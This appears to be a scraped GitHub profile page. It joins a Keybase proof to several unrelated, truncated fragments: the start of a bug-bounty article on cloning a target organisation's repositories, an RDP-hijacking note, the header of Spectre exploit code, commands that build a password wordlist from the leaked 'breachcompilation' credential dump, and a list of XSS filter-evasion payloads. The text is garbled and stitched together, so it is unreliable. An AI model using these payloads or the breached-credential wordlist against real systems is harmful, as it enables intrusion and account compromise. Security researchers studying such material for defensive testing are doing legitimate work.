sUb_c0ol sUbc0ol

Keybase proof

I hereby claim:

I am subc0ol on github.
I am sub_c0ol (https://keybase.io/sub_c0ol) on keybase.
I have a public key ASBCT3AzjIyw_jiLWE8vyOzH1wrx4GYrojWsY7EYJ1TV-Qo

To claim this, I am signing this object:

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

	RDP Eavesdropping and Hijacking
	*******************************
	I spent some time this evening looking at ways to eavesdrop and hijack RDP sessions. Here is a gist of (semi) interesting findings
	that is not very new...

	===========
	Inspiration
	===========
	As you may already know...

	/* https://spectreattack.com/spectre.pdf */
	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#ifdef _MSC_VER
	#include <intrin.h> /* for rdtscp and clflush */
	#pragma optimize("gt",on)
	#else
	#include <x86intrin.h> /* for rdtscp and clflush */
	#endif

	wordlist created from original 41G stash via:

	grep -rohP '(?<=:).*$' \| uniq > breachcompilation.txt

	Then, compressed with:

	7z a breachcompilation.txt.7z breachcompilation.txt

	Size:

	<script\x20type="text/javascript">javascript:alert(1);</script>
	<script\x3Etype="text/javascript">javascript:alert(1);</script>
	<script\x0Dtype="text/javascript">javascript:alert(1);</script>
	<script\x09type="text/javascript">javascript:alert(1);</script>
	<script\x0Ctype="text/javascript">javascript:alert(1);</script>
	<script\x2Ftype="text/javascript">javascript:alert(1);</script>
	<script\x0Atype="text/javascript">javascript:alert(1);</script>
	'`"><\x3Cscript>javascript:alert(1)</script>
	'`"><\x00script>javascript:alert(1)</script>
	<img src=1 href=1 onerror="javascript:alert(1)"></img>